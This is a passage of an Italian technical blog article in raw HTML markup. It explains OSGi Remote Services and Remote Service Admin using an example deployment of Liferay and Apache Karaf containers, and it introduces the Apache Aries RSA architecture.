funzionalità di sicurezza sono fornite da altre specifiche come per esempio la &lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.useradmin.html&quot;&gt;User Admin Service&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Centralized Logging&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Può essere ottenuto tramite le specifiche del &lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.log.html&quot;&gt;Log Service&lt;/a&gt; di OSGi&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Packaging&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;I bundle OSGi sono distribuiti come artefatti JAR, pronti quindi anche per il deployment in ambienti che prevedono l&amp;#x27;uso di &lt;a href=&quot;https://it.wikipedia.org/wiki/Virtualizzazione_a_livello_di_sistema_operativo&quot;&gt;container&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Deployment&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Sia dalla console OSGi, dal file system (hot deploy) o tramite uno strumento/API dedicato (specifico per il runtime OSGi)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Tabella 1 - Associazione tra capacità dei Microservices è funzionalità offerte
dal framework OSGi&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Spostandoci fuori dai confini dell&amp;#x27;ambiente OSGi, entrano in gioco delle sfide
interessanti che includono ovviamente considerazioni circa il bilanciamento del
carico (load balancing), ridimensionamento automatico (auto-scaling),
resilienza, tolleranza ai guasti (fault tolerance) e back-pressure per citarne
alcuni.&lt;/p&gt;&lt;p&gt;Tutti questi aspetti possono essere abilitati tramite le specifiche &lt;strong&gt;Remote
Services&lt;/strong&gt; e &lt;strong&gt;Remote Service Admin&lt;/strong&gt; definite dalla specifica &lt;strong&gt;OSGi
Compendium&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;In particolare le specifiche Remote Service Admin definiscono un agente di
gestione &lt;strong&gt;&lt;em&gt;plugable&lt;/em&gt;&lt;/strong&gt; chiamato &lt;strong&gt;Topology Manager&lt;/strong&gt; in grado di soddisfare i
diversi concetti menzionati che caratterizzano l&amp;#x27;interazione tra i servizi OSGi
remoti (effettivamente il canale di comunicazione tra i diversi container OSGi
che formano l&amp;#x27;insieme dei Microservices).&lt;/p&gt;&lt;p&gt;I framework più noti che forniscono un&amp;#x27;implementazione delle due specifiche OSGi
che riguardano i Remote Services, sono:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://cxf.apache.org/distributed-osgi.html&quot;&gt;Apache CXF Distributed OSGi&lt;/a&gt;
che consente di:&lt;ol&gt;&lt;li&gt;offrire e consumare servizi SOAP e basati su REST. Inoltre, l&amp;#x27;uso dei
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html&quot;&gt;Declarative Services&lt;/a&gt;&lt;/strong&gt;
è il modo più semplice per interagire con tali servizi;&lt;/li&gt;&lt;li&gt;comunicare in modo trasparente tra i container OSGi.&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://aries.apache.org/modules/rsa.html&quot;&gt;Apache Aries RSA&lt;/a&gt; (Remote Service
Admin);&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.eclipse.org/ecf/&quot;&gt;Eclipse Communication Framework&lt;/a&gt; (ECF)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Nel corso di quest&amp;#x27;articolo faremo riferimento all&amp;#x27;implementazione &lt;strong&gt;Apache
Aries RSA (Remote Service Admin)&lt;/strong&gt;, perché a mio avviso è quella più semplice e
flessibile da usare, nonché quella più diffusa.&lt;/p&gt;&lt;p&gt;Dopo aver visto quali sono le specifiche che ci abilitano a distribuire i bundle
OSGi e quindi i &lt;strong&gt;µServices&lt;/strong&gt; ad uscire fuori dai confini del proprio container,
è arrivato il momento di presentare un possibile scenario scendendo sul molto
pratico.&lt;/p&gt;&lt;h2 id=&quot;3-uno-scenario-desempio-di-µservices-remoti&quot;&gt;3. Uno scenario d&amp;#x27;esempio di µServices Remoti&lt;/h2&gt;&lt;p&gt;Ipotizziamo uno scenario in cui abbiamo quattro diversi container OSGi, di cui
due offrono esclusivamente servizi, assumono quindi il ruolo di service provider, uno
offre servizi e assume anche il ruolo di client o consumer e per finire, un ultimo che ha
esclusivamente il ruolo di consumer. Su due dei tre container OSGi che agiranno da
service provider, installeremo lo stesso servizio.&lt;/p&gt;&lt;p&gt;Volendo fare quindi la lista della spesa, dobbiamo sviluppare due classici
progetti in stile OSGi.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Uno che contenga tre bundle: API, Service e Consumer per il servizio che
chiameremo Who I am.&lt;/li&gt;&lt;li&gt;Uno che contenga tre bundle: API, Service e Consumer per il servizio che
chiameremo Raspberry Pi.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;La tabella a seguire mostra il dettaglio per servizio e di quali saranno i
bundle OSGi da sviluppare.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:100px&quot;&gt;Servizio&lt;/th&gt;&lt;th style=&quot;width:100px&quot;&gt;Bundle Name&lt;/th&gt;&lt;th&gt;Descrizione&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Who I am Service&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;WhoIam API&lt;/td&gt;&lt;td&gt;Bundle che definisce tramite l&amp;#x27;interfaccia Java il contratto del servizio Who I am. Il bundle esporta il package dell&amp;#x27;interfaccia (vedi Source Code 2).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;WhoIam Service&lt;/td&gt;&lt;td&gt;Bundle che implementa l&amp;#x27;interfaccia del servizio Who I am. Il bundle importa il package dell&amp;#x27;interfaccia (vedi Source Code 3).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;WhoIam Consumer&lt;/td&gt;&lt;td&gt;Bundle che consuma il servizio Who I am. Il riferimento al servizio è ottenuto in modo trasparente dal Service Registry. Il bundle importa il package dell&amp;#x27;interfaccia (vedi Source Code 4).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Raspberry Pi Service&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Raspberry Pi API&lt;/td&gt;&lt;td&gt;Bundle che definisce tramite l&amp;#x27;interfaccia Java il contratto del servizio Raspberry Pi. Il bundle esporta il package dell&amp;#x27;interfaccia.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Raspberry Pi Service&lt;/td&gt;&lt;td&gt;Bundle che implementa l&amp;#x27;interfaccia del servizio Raspberry Pi. Il bundle importa il package dell&amp;#x27;interfaccia.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Raspberry Pi Consumer&lt;/td&gt;&lt;td&gt;Bundle che consuma il servizio Raspberry Pi. Il riferimento al servizio è ottenuto in modo trasparente dal Service Registry. Il bundle importa il package dell&amp;#x27;interfaccia.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Tabella 2 - Bundle OSGi che implementeranno lo scenario di esempio per µServices
Remoti&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il diagramma a seguire mostra lo scenario che andremo a implementare utilizzando
un&amp;#x27;architettura distribuita a µServices restando nel nostro contesto OSGi. Per
coloro che sono ormai avvezzi a sviluppare utilizzando il framework OSGi,
apprezzeranno il fatto che alla fine non cambierà nulla nel modo di scrivere
codice.&lt;/p&gt;&lt;p&gt;Dal diagramma è possibile notare che abbiamo a disposizione quattro OSGi
Container di cui, uno è all&amp;#x27;interno di un&amp;#x27;istanza di &lt;strong&gt;Liferay Portal Platform&lt;/strong&gt;
e il resto dei tre sono tutte istanze di &lt;strong&gt;Apache Karaf&lt;/strong&gt;. Al fine di rendere le
cose più interessanti, ho previsto volutamente per lo scenario l&amp;#x27;introduzione di
Liferay e di un&amp;#x27;istanza Apache Karaf in esecuzione sul Raspberry Pi.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/79d9f9a153ec49caec329b759f518a27/e3729/scenario-osgi-remote-service-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:112.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;450\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20450\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M215%2010c-1%203-2%203-2%201%200-3-2-4-2-2l-1%201c-3%200-2%202%200%203%201%200%202%201%201%202%200%204%204%209%206%206%202-1%202-1%204%201s5%201%207-1%204-2%2072-2h70v105H220V86h17v4-18%2013h-17V54c0-29%200-31-2-31v1l1%2030v30h-16c-15%200-15%201-17%203-1%203-2%2056%200%2056l1-28%201-28%2015-1h16l-1%2020v20h154V17h-70c-69%200-71%200-70-2%200-3-2-6-4-6l-3-1-4-2c-3%200-4%200-6%204m34%2066h-4v8l1%209c1%201%2043%202%2045%201V76l-19-1-23%201m67%200h-17v9l1%2010h15l23-1h7V76l-6-1-23%201m-61%201h-8v7h15l14%201h-29v8h43V77h-5c-4%200-5%200-6%203l-2%204%201-3%201-4h-24m45%204l1%203h15l15%201-16%201h-15l1%204v3h43v-5l-1-8c0-3%200-3-4-3-3%200-4%200-4%202l-1%203v-3c0-2%200-2-17-2h-17v4m-154%2034l-1%202-1%202-1%202c-1%201-1%201-1-1s-2-4-2-2l-2%201c-2-2-2%201%200%202l2%202-70%201H0v158h153v-40h12c11%200%2012%200%2013%202l1%2032-1%2030%201-31%201-31-2-2c-1-1-3-2-4-1h-12l-9-1v-38h12c12%200%2013%200%2014%202s2%202%2021%202h19v90h48l77-1h28v-36h7l8-1h-15V138H232l-1-2-3-3-3-1c0-1-1-2-3-2-4-1-6%200-6%202l-1%203c-2%201-2%201-2-1l-1-2-1%201h-1l-2%201%202%202%202%204c0%205%202%207%205%205%201-2%202-2%202-1%202%203%206%203%209%201l3-3c0-3%206-3%2073-3h66v119h-17c-5%202-9%200-8-3v-4l-1-2h-23l-22%201v9l1%209a285%20285%200%200042%200l-23-1h-19v-8h30l-15-1h-15v-7h11c20-1%2021-1%2021%201l-1%204v1l2-4c1-2%202-2%206-2h4v4l1%209%201%205v-5c0-4%200-4%204-4l3%201%201%201%201-1c0-2%202-2%208-2h8v35H220v-44l1-43%2012-1h12v9h47l-1-9v-9l-23-1h-23v5c0%204%200%204-1%203h-2l-2%201c-2%200-2-1-2-7%200-8-1-7-1%201v6h-16l-1-29c0-26%200-28%202-28%201-1%201-1-1-1h-2v58h-11a424%20424%200%2000-28-2c0-2-3-3-16-3h-11v-7h14l16-1c1-1-4-1-14-1h-16v-59l3-1c5-3%206-12%201-13l-3-1c-2-2-6-3-8-2M37%20126H2v154h149v-38h-8l-8%201h-1l-4-1h-4v9H81l-1-5v-10l1-4h45v4c0%204%200%204%204%204%203%200%204%200%204-2h1c0%202%201%202%208%202h9v-19c0-18-1-19-2-19l-13-1h-11v5h-19a260%20260%200%2000-4-1h22v-17h-5c-5%200-5%200-5%202%200%206-3%207-19%207H82l-1%204c-1%204-1%204-1-5v-9h47l-1%207v6h26v-7h-9l-15-1%203-1%203-1h1l8%201h9v-58h-5l3-1c2-1%202-1%200-1l-2-2-2%201c-3%201-3%201-5-2l-2-2H37m-13%208v8l1%206h14v-15h-7l-8%201m3%2054v18h46v-19H50l-23%201m1%204v4h14c14%200%2015%200%2017-2%204-5%203-5-15-6H28v4m34-3v2c1%200%200%202-2%203l-2%203H28v7h11l22%201h10l1-4v-9c-1-4-1-4-5-4l-5%201m20%203v4h14c13%200%2014%200%2016-2%205-6%204-6-14-6H82v4m217%204v19h46l-23-1h-22v-8h15c15%200%2016%200%2018-2l2-5c0-2%201-2%204-2s4%200%204%202%201%201%202-2l-20-1a291%20291%200%2001-26%200m-53%202l1%204v3h14c13%200%2014%200%2016-2%204-5%203-6-14-6l-17%201m54%203v4h15c14%200%2015%200%2017-2%205-6%204-6-15-6h-17v4m-20-1l-3%204-3%203-14-1h-13v7l22%201h21v-16h-5c-4%200-5%200-5%202M27%20232v18h46v-18H27m2%202l-1%203v3h15c10%200%2014%200%2013%201l-14%201H29v7h42v-16h-5c-4%200-5%200-5%202l-1%203v-3c0-2%200-2-15-2l-16%201m52%202c0%204%200%204%2015%205l15%201H81v2l1%204c0%201%203%202%2022%202h21v-17h-5c-4%200-5%200-5%202l-1%203v-3c0-2%200-2-16-2H82l-1%203m164%2023l1%209h46l-1-9v-10h-46v10m2-5v4h14c13%200%2014%200%2016-2%204-5%203-5-14-6h-16v4m33-2c0%206-3%207-19%207h-14v8h43v-17h-5c-5%200-5%200-5%202m107%208l1%2029%201%2027%201-22c0-26-1-34-3-35v1m-173%2044v5c2%201%202%202%200%205-2%204-2%207%202%2011l2%203v55h-15l-17%201c-6%201-6%200-7-38l-1-35v35l2%2038h38v18l1%2018h24l25%201v12l1%2012v-25h103V312h-70l-70-1v-4c-1-3-3-5-7-3h-11m17%2010l1%202c2%204-6%2014-11%2013-1-1-1%204-1%2027v27h25v-4l1-4%2022-1h23v19h-22v4c0%203%200%204%202%204l3%201h-3c-2%200-2%200-2%209v8h101V313h-69l-70%201m157%2069a258%20258%200%2001-2%2063l2-1a1708%201708%200%20000-62m-89%201v9h46v-19h-19l-19%201h13c15%200%2017%201%2012%206-2%202-3%202-17%202-13%200-15%200-15-2l1-3c0-1%201-2%203-2%203%200%202-1-2-1l-3-1v10m-51-8l-2%204%201%203h13c14%200%2014%200%2017-2%204-4%203-5-6-5a246%20246%200%2001-23%200m35%200c-2%200-3%201-3%202l-2%204c-3%202-4%202-17%202-15%200-16%200-14%205v3h43v-8c0-10%200-9-7-8m52%202l-3%204c-2%202-3%203-17%203h-14l-1%203v4h43v-3l1-8v-5h-4c-4%200-5%200-5%202m-115%2024v17h48v-8l-1-9v-8l-11-1-10%201-1-5c0-3%200-4-2-4h-6l-8-1h-9v18m49%2043\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/79d9f9a153ec49caec329b759f518a27/c85cb/scenario-osgi-remote-service-1.webp 300w,/static/79d9f9a153ec49caec329b759f518a27/e88ff/scenario-osgi-remote-service-1.webp 600w,/static/79d9f9a153ec49caec329b759f518a27/92f8c/scenario-osgi-remote-service-1.webp 1200w,/static/79d9f9a153ec49caec329b759f518a27/e7b51/scenario-osgi-remote-service-1.webp 1794w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/79d9f9a153ec49caec329b759f518a27/5a46d/scenario-osgi-remote-service-1.png 300w,/static/79d9f9a153ec49caec329b759f518a27/0a47e/scenario-osgi-remote-service-1.png 600w,/static/79d9f9a153ec49caec329b759f518a27/c1b63/scenario-osgi-remote-service-1.png 1200w,/static/79d9f9a153ec49caec329b759f518a27/e3729/scenario-osgi-remote-service-1.png 1794w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Scenario d&amp;#x27;esempio di µServices Remoti&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/79d9f9a153ec49caec329b759f518a27/c1b63/scenario-osgi-remote-service-1.png&quot; title=&quot;Figura 4 - Scenario d&amp;#x27;esempio di µServices Remoti&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Scenario d&amp;#x27;esempio di µServices Remoti&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Dal diagramma è evidente anche la distribuzione dei bundle (indicati in
Tabella 2) sui quattro container OSGi. Su Liferay Portal abbiamo i bundle che
consentiranno di consumare il servizio Who I am e Raspberry Pi. Su due container
Apache Karaf abbiamo i bundle che consentiranno di fornire il servizio Who I
am, e su uno dei due container i bundle che consentiranno di consumare il
servizio Raspberry Pi. Sul terzo ed ultimo container Apache Karaf abbiamo i bundle
che forniranno il servizio Raspberry Pi.&lt;/p&gt;&lt;p&gt;Adesso che abbiamo chiaro in mente quale sarà il nostro scenario, dobbiamo
capire come abilitare i container OSGi che abbiamo a disposizione affinché siano
in grado di comunicare tra loro.&lt;/p&gt;&lt;h2 id=&quot;4-apache-aries-rsa-remote-service-admin&quot;&gt;4. Apache Aries RSA (Remote Service Admin)&lt;/h2&gt;&lt;p&gt;La specifica
&lt;a href=&quot;https://osgi.org/specification/osgi.cmpn/7.0.0/&quot;&gt;OSGi R7 Compendium&lt;/a&gt; ha due
sezioni relative agli OSGi Remote Services:
&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.remoteservices.html&quot;&gt;100 Remote Services&lt;/a&gt;
(RS) e
&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.remoteserviceadmin.html&quot;&gt;122 Remote Service Admin Service Specification&lt;/a&gt;
(RSA). Queste specifiche, tuttavia, sono destinate principalmente a chi
implementa RS/RSA, piuttosto che agli sviluppatori.&lt;/p&gt;&lt;p&gt;Nel corso dell&amp;#x27;articolo ho fatto sempre riferimento alla release R7 delle
specifiche OSGi, vorrei però ricordare che le specifiche per gli OSGi Remote
Services sono state introdotte in
&lt;a href=&quot;https://docs.osgi.org/download/r4v42/r4.enterprise.pdf&quot;&gt;OSGi Service Platform Enterprise Specification, Release 4, Version 4.2&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Ricapitolando. I servizi OSGi sono semplicemente oggetti Java che espongono un
certo numero di interfacce Java. Le istanze sono registrate dinamicamente in
base al nome dell&amp;#x27;interfaccia insieme alle proprietà tramite il &lt;strong&gt;Service
Registry&lt;/strong&gt;. Come descritto nelle specifiche, i servizi OSGi presentano numerosi
vantaggi, tra cui un supporto per la dinamica, la sicurezza, una netta
separazione tra contratto di servizio e implementazione,
&lt;a href=&quot;https://www.osgi.org/developer/white-papers/semantic-versioning/&quot;&gt;Semantic Versioning&lt;/a&gt;
e altri. Esistono tre parti in un&amp;#x27;istanza del servizio OSGi:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;una o più interfacce di servizio (interfaccia java);&lt;/li&gt;&lt;li&gt;un&amp;#x27;implementazione di interfacce di servizio;&lt;/li&gt;&lt;li&gt;un consumatore del servizio (tramite l&amp;#x27;interfaccia di servizio).&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;a href=&quot;https://osgi.org/specification/osgi.cmpn/7.0.0/service.remoteservices.html&quot;&gt;OSGi Remote Services&lt;/a&gt;
sta semplicemente estendendo il Service Registry per consentire l&amp;#x27;accesso ai
servizi OSGi da fuori processo ... ovvero per l&amp;#x27;accesso remoto.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;In che cosa differisce dai servizi remoti non OSGi come HTTP/REST?&lt;/strong&gt; In primo
luogo, i servizi remoti OSGi hanno accesso a tutte le proprietà dei servizi OSGi
... ad esempio dinamica, sicurezza, controllo delle versioni, separazione dei
contratti dall&amp;#x27;implementazione, etc., nonché pieno supporto per i servizi
dichiarativi o &lt;strong&gt;Declarative Services&lt;/strong&gt; e altri injection framework.&lt;/p&gt;&lt;p&gt;Un &lt;strong&gt;Distribution Provider&lt;/strong&gt; può sfruttare il &lt;strong&gt;loose-coupling&lt;/strong&gt; tra i bundle
per esportare un servizio registrato creando un &lt;strong&gt;endpoint&lt;/strong&gt;. Viceversa, il
Distribution Provider può creare un &lt;strong&gt;proxy&lt;/strong&gt; che accede a un endpoint e quindi
registra questo proxy come servizio importato. Un framework può contenere
contemporaneamente più Distribution Provider, ciascuno dei quali importa ed
esporta in modo indipendente.&lt;/p&gt;&lt;p&gt;Un &lt;strong&gt;endpoint&lt;/strong&gt; è un meccanismo di accesso alle comunicazioni verso un servizio
in un altro framework, un servizio (web), un altro processo o una coda, etc.,
che richiede un protocollo per le comunicazioni. La mappatura tra servizi ed
endpoint nonché le loro caratteristiche di comunicazione è chiamata
&lt;strong&gt;topologia&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:637px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b0b9bd93e70a725ff9303415def56d45/13a9a/100-architecture.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:47%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;188\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20188\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M102%2025c0%2022-1%2021%2019%2021h15v42h-4l-4%201%204%209c3%206%204%209%204%2013v5h36v25h-4l-4%201-1%2013v13H22v-61h5c5%200%206%200%207-2v-3l-1%202c-1%202-2%202-15%202-15%200-14%201-10-10l3-5%2013-1h14l-2%205-2%206%203-5%202-7-15-1H10l-3%208-4%2010%209%201h9v63h142v4c0%202%200%203%202%203l1%201%2035%201h35v-8l71-1h71v-63h5l-8-1h-14v-3l-1%202c-1%202-1%202%207%202l9%201v30l1%2030H236v-12l-1-12-2-1-3-2h-3v-25h35v-9h5l4-1-4-9-5-9V46h36V29c0-17%200-17-2-19s-6-2-37-2h-34v18l1%2017%202%201c1%202%204%202%2017%202h16v45l8%2014c0%202-15%201-15%200h-1c-1%202%200%202%204%202h4v8h-36v26h-7V98h19l19%201%202-2h-21l-20%201-1%2021v22h-34V97h-19l-20-1%202-3c2-4%201-5-3-5h-4V46h36V28l-1-18-2-1-34-1h-35v17m2-15l-1%2016v16h67V10l-33-1-33%201m123-1v33h67V10l-34-1h-33m101%2041c0%202-2%203-5%202l-3%202-1%203v-3c0-2%200-2-2-2l-3%201h-1l-7-1c-5%200-6%201-6%202v2l-1-2-2-2c-2%200-2%201-2%202%200%202%201%203%204%203l5%201h2c1-1%203-2%204-1l3-1h1c0%202%202%201%202-1s0-2%201%200c1%201%202%202%209%202h8v-5l-2%202-2%203v-4l-1-3h-1m24%200l-3%202-1%201h-1c-2-2-3-1-4%201s-1%202-1%200c0-3%200-3-2-3l-3%201c-2%200-2%201-2%203s0%202%201%201l1-1c0%203%202%202%202%200l1-2v2c0%202%201%202%204%202s3%200%202-1v-1l2%201%201-1c1-2%201-2%202%200l1%202%201-2c1-2%201-2%201%200s1%202%204%202%204%200%203-1l-1-1%201-2c1-1%200-1-1-1-5%200-8%200-6-1v-1h-2M31%2080c-1%201-1%202-2%201-2-1-8-1-8%201-1%202%202%205%203%204l-1-2v-1l2%201h1c0-2%202-3%202%200l1%201h3l2%201h3c1-2%202-2%203-1h2c1-2%202-2%202-1%201%201%201%200%201-1%200-3%200-3-1-2h-1l-2-1v4l-1-2h-1l-1-1-2-1c-1%201-2%200-2-1%200-2-1-1-3%201m347%202l-2%201h-8c-1%202%200%204%202%204v-2l2%201%201%201%201-1v-3l1%202c0%201%201%202%203%202%205%200%203%201-4%201l-8%201%2014%201h14a383%20383%200%20011-1l-6-1c-4%200-6%200-5-1h4l2-1h1c1%201%201%201%201-1%200-3%200-3-1-2h-1l-2-1v4l-1-1c0-2-3-3-5-3h-1c0-3-1-2-3%200m-245%208l-3%201%207%2013%207-13c-1-1-8-2-11-1m7%2012l-2%208v5h35v26h8V99l-20-1h-19l-2%204m-18%201c-1%202-6%202-8%201-1-1-5%200-5%201H98l-4-1c-4%200-5%200-5%202v3l-2-3c-2-3-5-2-5%201%200%202%203%203%204%201h1c0%202%206%201%206-1h1l1%202%201-2h1c1%203%203%204%204%203s3-2%204-1l3-1h1c0%202%202%201%202-1h1c0%202%207%203%207%201h1c2%203%205%201%204-3%200-2-1-3-2-2m42%2056v16h34l33%201v-33h-67v16\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b0b9bd93e70a725ff9303415def56d45/c85cb/100-architecture.webp 300w,/static/b0b9bd93e70a725ff9303415def56d45/e88ff/100-architecture.webp 600w,/static/b0b9bd93e70a725ff9303415def56d45/63990/100-architecture.webp 637w&quot; sizes=&quot;(max-width: 637px) 100vw, 637px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b0b9bd93e70a725ff9303415def56d45/5a46d/100-architecture.png 300w,/static/b0b9bd93e70a725ff9303415def56d45/0a47e/100-architecture.png 600w,/static/b0b9bd93e70a725ff9303415def56d45/13a9a/100-architecture.png 637w&quot; sizes=&quot;(max-width: 637px) 100vw, 637px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 5 - Architettura dei Remote Services&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b0b9bd93e70a725ff9303415def56d45/13a9a/100-architecture.png&quot; title=&quot;Figura 5 - Architettura dei Remote Services&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Architettura dei Remote Services&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Il progetto
&lt;strong&gt;&lt;a href=&quot;https://github.com/apache/aries-rsa&quot;&gt;Apache Aries Remote Service Admin (RSA)&lt;/a&gt;&lt;/strong&gt;
consente di utilizzare in modo trasparente i servizi OSGi per la comunicazione
remota. I servizi OSGi possono essere contrassegnati per l&amp;#x27;esportazione
aggiungendo una proprietà del servizio &lt;strong&gt;service.exported.interfaces=*&lt;/strong&gt;. Varie
altre proprietà possono essere utilizzate per personalizzare il modo in cui il
servizio deve essere esposto.&lt;/p&gt;&lt;p&gt;La figura a seguire mostra l&amp;#x27;architettura di Apache Aries Remote Service Admin
(RSA) che se notate riporta i componenti descritti dalle specifiche OSGi Remote
Service (RS e RSA). L&amp;#x27; &lt;strong&gt;Endpoint&lt;/strong&gt; descrive un servizio utilizzando le
interfacce di servizio, l&amp;#x27;URL e tutte le altre proprietà necessarie per
importare correttamente il servizio remoto. L&amp;#x27;&lt;strong&gt;Endpoint Listener&lt;/strong&gt; è un
servizio che deve essere avvisato quando ci sono cambiamenti sugli &lt;strong&gt;endpoint
remoti&lt;/strong&gt; (descritti dai filtri OSGi) sono registrati o de-registrati.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1b8af98e91b71e930b0b06108c560509/9ac09/diagram-architettura-apache-aries-rsa.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
